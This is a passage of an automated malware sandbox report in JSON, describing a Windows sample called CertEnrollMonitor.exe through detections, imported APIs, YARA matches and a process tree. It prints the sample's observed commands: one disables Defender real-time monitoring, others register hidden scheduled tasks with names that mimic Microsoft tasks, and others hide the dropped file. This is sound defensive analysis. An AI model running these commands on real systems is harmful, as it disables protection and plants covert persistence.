Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"$7e","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"Found string \"Set-MpPreference -DisableRealtimeMonitoring $true -EA SilentlyContinue;'Defender realtime monitoring disabled'\" (Indicator: \"Set-MpPreference\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found string \"Set-MpPreference -DisableRealtimeMonitoring $true -EA SilentlyContinue;'Defender realtime monitoring disabled'\" (Indicator: \"Set-MpPreference\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found string \"Set-MpPreference -DisableRealtimeMonitoring $true -EA SilentlyContinue;'Defender realtime monitoring disabled'\" (Indicator: \"Set-MpPreference\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$7f","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00004712.00000000.221050.3BD59000.00000004.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00006268.00000000.222670.3BD59000.00000004.mdmp, 00000000-00006900.00000000.224254.3BD59000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00004528.00000000.218376.34CD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$80","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"$81","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$82","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate services/features (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Stop-Process\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n file/memory contains long string with (Indicator: \"Stop-Process\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"Stop-Process\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-371","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$83","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"DuplicateToken\" which can \"create a new access token that duplicates one already in existence\" [Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin]\n Observed import api \"DuplicateTokenEx\" which can \"create a new access token that duplicates an existing token\" [Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin]\n Observed import api \"GetTokenInformation\" which can \"retrieve a specified type of information about an access token\" [Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin]\n Observed import api \"ImpersonateLoggedOnUser\" which can \"let the calling thread impersonate the security context of a logged-on user\" [Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin]\n Observed import api \"RevertToSelf\" which can \"terminate the impersonation of a client application\" [Source: 44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$84","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$85","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"Found string \"Set-MpPreference -DisableRealtimeMonitoring $true -EA SilentlyContinue;'Defender realtime monitoring disabled'\" (Indicator: \"Set-MpPreference\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"Set-MpPreference -DisableRealtimeMonitoring $true -EA SilentlyContinue;'Defender realtime monitoring disabled'\" (Indicator: \"Set-MpPreference\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found string \"Set-MpPreference -DisableRealtimeMonitoring $true -EA SilentlyContinue;'Defender realtime monitoring disabled'\" (Indicator: \"Set-MpPreference\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"$86","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00007296]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$87","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7296)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5376)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 7916)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/27 Antivirus vendors marked sample as malicious (14% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"suspicious","category":"General","name":"Contains ability to execute program","description":"ShellExecuteW@SHELL32.dll at 44723-470-000000014000AC4A\n ShellExecuteW@SHELL32.dll at 44723-472-000000014000AEBE\n ShellExecuteW@SHELL32.dll at 44723-477-000000014000B3B1\n ShellExecuteA@SHELL32.dll at 44723-634-0000000140015306\n ShellExecuteExA@SHELL32.dll at 44723-690-0000000140016619\n ShellExecuteA@SHELL32.dll at 44723-692-00000001400166E3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":7,"id":"stream-106","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - PowerShell with Base64 encoding","description":"YARA signature for PowerShell containing Base64 encoding matched on process \"00000000-00007004\"\n YARA signature for PowerShell containing Base64 encoding matched on process \"00000000-00008156\"\n YARA signature for PowerShell containing Base64 encoding matched on file \"sample.bin\"\n YARA signature for PowerShell containing Base64 encoding matched on file \"00000000-00005556.00000000.221580.F5550000.00000004.mdmp\"\n YARA signature for PowerShell containing Base64 encoding matched on process \"00000000-00007612\"\n YARA signature for PowerShell containing Base64 encoding matched on file \"00000000-00007960.00000000.222110.E6890000.00000004.mdmp\"\n YARA signature for PowerShell containing Base64 encoding matched on process \"00000000-00002920\"\n YARA signature for PowerShell containing Base64 encoding matched on file \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-35","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_SUSPICIOUS_Binary_References_Browsers\" matched file \"sample.bin\" as \"Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers.\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Able to delete scheduled task(s)","description":"Found string \"schtasks /delete /tn \"%s\" /f\" (Indicator: \"schtasks /delete\"; File: \"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837.bin\")\n Found string \"schtasks /delete /tn \"%s\" /f\" (Indicator: \"schtasks /delete\"; Source: \"00000000-00002464.00000000.220532.3BD34000.00000002.mdmp, 00000000-00005556.00000000.221580.F5550000.00000004.mdmp, 00000000-00007960.00000000.222110.E6890000.00000004.mdmp\")\n Found string \"schtasks /delete /tn \"%s\" /f\" (Indicator: \"schtasks /delete\"; Source: \"00000000-00002920.00000000.218957.34CB4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-629","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"SystemParametersInfoW@USER32.dll at 44723-434-0000000140007BC2","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1098","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"CertEnrollMonitor.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming:CertEnrollMonitor\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hstvoawy.ulw.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_icjdlobr.nyd.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_2entocxr.b0j.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_aatpznpn.ipo.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pqelw33q.j2x.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_yudqh3c1.ndz.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_hstvoawy.ulw.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_icjdlobr.nyd.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_2entocxr.b0j.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_aatpznpn.ipo.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_pqelw33q.j2x.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_yudqh3c1.ndz.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegOpenKeyExA\n RegCloseKey\n RegDeleteKeyA\n RegEnumKeyExA\n RegDeleteValueA\n OpenProcessToken\n RegOpenKeyExW\n GetUserNameA\n RegEnumKeyExW\n DeleteFileA\n VirtualProtect\n GetFileSize\n CreateProcessW\n CreateThread\n FindNextFileW\n Process32NextW\n FindFirstFileW\n CreateProcessA\n FindFirstFileA\n Sleep\n TerminateProcess\n Process32FirstW\n GetProcAddress\n GetFileAttributesA\n CreateDirectoryW\n FindNextFileA\n CreateFileW\n OpenProcess\n CreateDirectoryA\n CreateFileA\n GetDriveTypeA\n GetTickCount\n CopyFileA\n GetModuleHandleA\n GetTempPathA\n DeleteFileW\n WriteFile\n GetModuleFileNameW\n GetLogicalDrives\n GetComputerNameA\n GetStartupInfoA\n LoadLibraryA\n GetFileAttributesExA\n CreateToolhelp32Snapshot\n GetModuleFileNameA\n ShellExecuteA\n ShellExecuteW\n ShellExecuteExA\n SetWindowsHookExA\n GetClipboardData\n FindWindowA\n GetWindowThreadProcessId\n InternetOpenUrlA\n InternetConnectA\n InternetOpenA\n InternetCloseHandle\n HttpQueryInfoA\n InternetReadFile\n HttpSendRequestA\n recv\n socket\n WSAStartup\n closesocket\n send\n connect","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Attempts to change the attributes of the files","description":"Process \"attrib.exe\" with commandline \"attrib +h +s \"%APPDATA%\\\\CertEnrollMonitor.exe\"\" (UID: 00000000-00006972)\n Process \"attrib.exe\" with commandline \"attrib +h +s \"%APPDATA%\\\\CertEnrollMonitor.exe\"\" (UID: 00000000-00004552)\n Process \"attrib.exe\" with commandline \"attrib +h +s \"%APPDATA%\\\\Microsoft\\\\Credentials\\\\CertEnrollMonitor.exe\"\" (UID: 00000000-00004380)","origin":"Monitored Target","mitre_attack_id":"T1564.001","relevance":3,"id":"target-166","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (D)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"nul && powershell -NoP -W Hidden -C \"$a=New-ScheduledTaskAction -Execute '%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00007644","uid":"00000000-00007368"},{"pid":6456,"ppid":7368,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00007368","uid":"00000000-00006456"},{"pid":7296,"ppid":7368,"name":"powershell.exe","command_line":"powershell -NoP -W Hidden -C \"$a=New-ScheduledTaskAction -Execute '%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\LicenseAgentWorker' -Action $a -Trigger $t -Settings $s\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007368","uid":"00000000-00007296"},{"pid":1932,"ppid":7644,"name":"cmd.exe","command_line":"/c chcp 65001 >nul && attrib +h +s \"%APPDATA%\\CertEnrollMonitor.exe\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00007644","uid":"00000000-00001932"},{"pid":5860,"ppid":1932,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00001932","uid":"00000000-00005860"},{"pid":6972,"ppid":1932,"name":"attrib.exe","command_line":"attrib +h +s \"%APPDATA%\\CertEnrollMonitor.exe\"","sha256":"e17685417ff4d982d9fd1ddbbcb2f4aadb3c6e8b4865ecbf786113feb8d96c1d","normalized_path":"%WINDIR%\\system32\\attrib.exe","parent_uid":"00000000-00001932","uid":"00000000-00006972"},{"pid":5252,"ppid":7644,"name":"cmd.exe","command_line":"/c chcp 65001 >nul && powershell -NoP -W Hidden -C \"$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\WinSvcHost' -Action $a -Trigger $t -Settings $s\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00007644","uid":"00000000-00005252"},{"pid":1184,"ppid":5252,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00005252","uid":"00000000-00001184"},{"pid":5376,"ppid":5252,"name":"powershell.exe","command_line":"powershell -NoP -W Hidden -C \"$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Maintenance\\WinSvcHost' -Action $a -Trigger $t -Settings $s\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005252","uid":"00000000-00005376"},{"pid":6936,"ppid":7644,"name":"cmd.exe","command_line":"/c chcp 65001 >nul && attrib +h +s \"%APPDATA%\\CertEnrollMonitor.exe\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00007644","uid":"00000000-00006936"},{"pid":4540,"ppid":6936,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00006936","uid":"00000000-00004540"},{"pid":4552,"ppid":6936,"name":"attrib.exe","command_line":"attrib +h +s \"%APPDATA%\\CertEnrollMonitor.exe\"","sha256":"e17685417ff4d982d9fd1ddbbcb2f4aadb3c6e8b4865ecbf786113feb8d96c1d","normalized_path":"%WINDIR%\\system32\\attrib.exe","parent_uid":"00000000-00006936","uid":"00000000-00004552"},{"pid":7940,"ppid":7644,"name":"cmd.exe","command_line":"/c chcp 65001 >nul && powershell -NoP -W Hidden -C \"$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Servicing\\StartComponentCleanup' -Action $a -Trigger $t -Settings $s\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00007644","uid":"00000000-00007940"},{"pid":7660,"ppid":7940,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00007940","uid":"00000000-00007660"},{"pid":7916,"ppid":7940,"name":"powershell.exe","command_line":"powershell -NoP -W Hidden -C \"$a=New-ScheduledTaskAction -Execute '%APPDATA%\\CertEnrollMonitor.exe';$t=New-ScheduledTaskTrigger -AtLogOn;$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\\Microsoft\\Windows\\Servicing\\StartComponentCleanup' -Action $a -Trigger $t -Settings $s\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007940","uid":"00000000-00007916"},{"pid":5100,"ppid":7644,"name":"cmd.exe","command_line":"/c chcp 65001 >nul && attrib +h +s \"%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00007644","uid":"00000000-00005100"},{"pid":7440,"ppid":5100,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00005100","uid":"00000000-00007440"},{"pid":4380,"ppid":5100,"name":"attrib.exe","command_line":"attrib +h +s \"%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe\"","sha256":"e17685417ff4d982d9fd1ddbbcb2f4aadb3c6e8b4865ecbf786113feb8d96c1d","normalized_path":"%WINDIR%\\system32\\attrib.exe","parent_uid":"00000000-00005100","uid":"00000000-00004380"},{"pid":4276,"ppid":7644,"name":"cmd.exe","command_line":"/c chcp 65001 >nul && clear","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00007644","uid":"00000000-00004276"},{"pid":5412,"ppid":4276,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00004276","uid":"00000000-00005412"},{"pid":5976,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path":"%APPDATA%\\Microsoft\\Credentials\\CertEnrollMonitor.exe","uid":"00000000-00005976","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":4168,"ppid":0,"name":"CertEnrollMonitor.exe","command_line":"","sha256":"44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837","normalized_path"